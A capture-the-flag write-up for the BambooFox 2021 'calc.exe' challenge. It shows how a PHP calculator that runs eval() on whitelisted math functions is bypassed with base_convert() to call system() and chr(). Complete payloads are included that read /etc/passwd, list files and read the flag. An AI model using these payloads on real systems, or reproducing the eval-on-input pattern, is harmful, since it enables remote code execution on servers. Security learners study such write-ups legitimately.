RCE with eval() + math functions in PHP

I solved this web challenge during the BambooFox CTF 2021 as part of the CTF Team Mayas. The name of the challenge was calc.exe and we were given a URL: http://chall.ctf.bamboofox.tw:13377

Upon accessing the URL, a simple input was shown.

If we checked the source of the web page, we could see a link redirecting to http://chall.ctf.bamboofox.tw:13377/?source, which showed the source code of the application:

 <?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));

function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }

    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    return $bad;
}

function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.1/css/bulma.min.css">
    <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    <title>Calc.exe online</title>
</head>
<style>
</style>

<body>
    <section class="hero">
        <div class="container">
            <div class="hero-body">
                <h1 class="title">Calc.exe Online</h1>
            </div>
        </div>
    </section>
    <div class="container" style="margin-top: 3em; margin-bottom: 3em;">
        <div class="columns is-centered">
            <div class="column is-8-tablet is-8-desktop is-5-widescreen">
                <form>
                    <div class="field">
                        <div class="control">
                            <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
                        </div>
                    </div>
                </form>
            </div>
        </div>
        <div class="columns is-centered">
            <?php if (isset($_GET['expression'])) : ?>
                <div class="card column is-8-tablet is-8-desktop is-5-widescreen">
                    <div class="card-content">
                        = <?= @safe_eval($_GET['expression']) ?>
                    </div>
                </div>
            <?php endif ?>
            <a href="/?source"></a>
        </div>
    </div>
</body>

</html>

By checking the code we could see the application was, as the name of the challenge says, intended to be a calculator. The application used eval() to evaluate the operation that the user entered in the input, but after analyzing the code we could conclude the following:

  • Restrictions: Only certain math functions and chars were allowed to be executed. They were defined with the following whitelist:
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
  • If we were to try to use any other function not listed in the application, then we got the error:
    $res = "I don't like this: " . $bad;
  • There was a size limitation with strlen set to <1024. This seemed like a very big value, so I decided I wouldn’t worry about it for now.
  • If the input that was entered did pass the restrictions mentioned above, then it would execute eval().

As a test, I tried to simply enter phpinfo() to see what happened. As expected, the application throwed an error letting me know that the string phpinfo was not allowed.

At this point it seemed evident that I would need to somehow use one or various of the allowed functions in order to execute malicious PHP code.
I did some research, and fortunately rather quickly I found this resource (a Chinese post) that showed how to execute PHP code using math functions. Bingo!

The post showed that using base_convert() function (which is whitelisted in the code challenge) it was easy to write the string phpinfo and then call it as a function.
For example:
base_convert(55490343972,10,36)() is equal to phpinfo()

How?
From the PHP documentation of base_convert() function:
base_convert ( string $num , int $from_base , int $to_base ) : string
We have a string $num = 55490343972 which is converted from base10 to base36 and the result will be a string
But where the 55490343972 string came from?
Easy, from converting PHPINFO string as base36 to base10.

If we check this assumption in a PHP console, we can see the phpinfo() output.

root@kali:~# php -a
Interactive mode enabled

php > 
php > echo base_convert(55490343972,10,36)();
phpinfo()
PHP Version => 7.3.12-1

System => Linux kali 
...SNIP...                 

If we try executing this same payload in the challenge application, we get the expected result, the PHPINFO() output:

Nice.

So what if we try executing commands with system() next?

In order to be able to execute commands with system, we need to elaborate the payload a little bit . The first part is to create system() strings following the same method used to create PHPINFO() as shown previously.

Convert SYSTEM from base36 to base10

php > echo base_convert("system",36,10);
1751504350
php > 

Our final payload for system() function is:

system() = base_convert(1751504350,10,36)()

But we still need to add commands inside the parenthesis of the converted system() function shown above.
One way of doing this is using another PHP function chr() and convert every character we need to form the string of our desired command (convert it from a number to its respective ACII) and then concatenate each of these characters to join the string of the command.

But chr() is not within the allowed functions, so first things first, if we want to use chr() (calling it from base_convert()) , we first need to define the bases we will convert, in this case we will be converting from base28 to base10 the string CHR:

php > echo base_convert("chr",28,10);
9911
php > 

So adding the first chr() to our payload would end up like:

base_convert(1751504350,10,36)(base_convert(9911,10,28)())

If we try to execute it in the PHP console:

php > echo base_convert(1751504350,10,36)(base_convert(9911,10,28)());
PHP Warning:  Wrong parameter count for chr() in php shell code on line 1
PHP Warning:  system(): Cannot execute a blank command in php shell code on line 1
php >

Nice, it seems PHP is trying to call the correct functions, even though we are using base_convert() only.
Now, if we were to execute a system command like cat /etc/passwd then we need to use chr() function (our base_convert version) with every character of the command, resulting in the below:

php > echo ord("c");
99
php > 
php > echo base_convert(9911,10,28)(99);
c		# letter c
php > echo base_convert(9911,10,28)(97);
a		# letter a
php > echo base_convert(9911,10,28)(116);
t		# letter t
php > echo base_convert(9911,10,28)(32);
		# Blank space
php > echo base_convert(9911,10,28)(47);
/		# slash
php > echo base_convert(9911,10,28)(101);
e
php > echo base_convert(9911,10,28)(116);
t		# letter t
php > echo base_convert(9911,10,28)(99);
c		# letter c
php > echo base_convert(9911,10,28)(47);
/		# slash
php > echo base_convert(9911,10,28)(112);
p		# letter p
php > echo base_convert(9911,10,28)(97);
a		# letter a
php > echo base_convert(9911,10,28)(115);
s		# letter s
php > echo base_convert(9911,10,28)(115);
s		# letter s
php > echo base_convert(9911,10,28)(119);
w		# letter w
php > echo base_convert(9911,10,28)(100);
d		# letter d

Next, we just need to concatenate all the base_convert functions above and put it inside the base_convert version of system():

base_convert(1751504350,10,36)(base_convert(9911,10,28)(99).base_convert(9911,10,28)(97).base_convert(9911,10,28)(116).base_convert(9911,10,28)(32).base_convert(9911,10,28)(47).base_convert(9911,10,28)(101).base_convert(9911,10,28)(116).base_convert(9911,10,28)(99).base_convert(9911,10,28)(47).base_convert(9911,10,28)(112).base_convert(9911,10,28)(97).base_convert(9911,10,28)(115).base_convert(9911,10,28)(115).base_convert(9911,10,28)(119).base_convert(9911,10,28)(100))

If we send the above payload to the calc application, we can successfully see the /etc/passwd file content. We have achieved RCE in an apparently safe calculator application.

Now we just need to search for the flag. We can start by searching the files in root with the ls -lah /* command. We follow the same method as above and we obtain the following payload:

base_convert(1751504350,10,36)(base_convert(9911,10,28)(108).base_convert(9911,10,28)(115).base_convert(9911,10,28)(32).base_convert(9911,10,28)(45).base_convert(9911,10,28)(108).base_convert(9911,10,28)(97).base_convert(9911,10,28)(104).base_convert(9911,10,28)(32).base_convert(9911,10,28)(47).base_convert(9911,10,28)(42))

After executing the payload in the application, luckily we can see that the flag is in the file /flag_a2647e5eb8e9e767fe298aa012a49b50

Lastly we just need to read the flag using the comman cat /fl*. Again, we use the same base_convert() + chr() technique shown above and we obtain the final payload:

base_convert(1751504350,10,36)(base_convert(9911,10,28)(99).base_convert(9911,10,28)(97).base_convert(9911,10,28)(116).base_convert(9911,10,28)(32).base_convert(9911,10,28)(47).base_convert(9911,10,28)(102).base_convert(9911,10,28)(108).base_convert(9911,10,28)(42))

Flag: flag{d0_y0u_kn0w_th1s_15_a_rea1_w0rld_cha11enge}